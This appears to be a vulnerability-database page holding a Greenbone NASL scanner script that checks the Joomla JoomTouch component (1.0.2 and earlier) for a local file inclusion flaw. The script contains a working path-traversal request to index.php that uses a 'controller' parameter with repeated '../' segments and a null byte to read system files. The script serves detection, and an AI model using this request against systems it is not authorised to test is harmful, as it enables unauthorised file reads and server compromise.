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Joomla! JoomTouch Component <= 1.0.2 LFI Vulnerability - Active Check

🗓️ 18 Aug 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
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Joomla! JoomTouch Component 'controller' Parameter Local File Include Vulnerability. Prone to local file-include vulnerability due to improper input sanitization

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# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103211");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2011-08-18 15:52:07 +0200 (Thu, 18 Aug 2011)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Joomla! JoomTouch Component <= 1.0.2 LFI Vulnerability - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49180");
  script_xref(name:"URL", value:"http://www.joomtouch.com/");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("joomla_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_tag(name:"summary", value:"The JoomTouch component for Joomla! is prone to a local file
  include (LFI) vulnerability because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and execute arbitrary local scripts in the context of the webserver
  process. This may allow the attacker to compromise the application and the computer, other
  attacks are also possible.");

  script_tag(name:"affected", value:"JoomTouch 1.0.2 is affected, other versions may also be
  vulnerable.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {

  url = dir + "/index.php?option=com_joomtouch&controller=" + crap(data:"../",length:3*9) +files[file] + "%00";
  if (http_vuln_check(port:port, url:url,pattern:file)) {
    report = http_report_vuln_url( port:port, url:url );
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);

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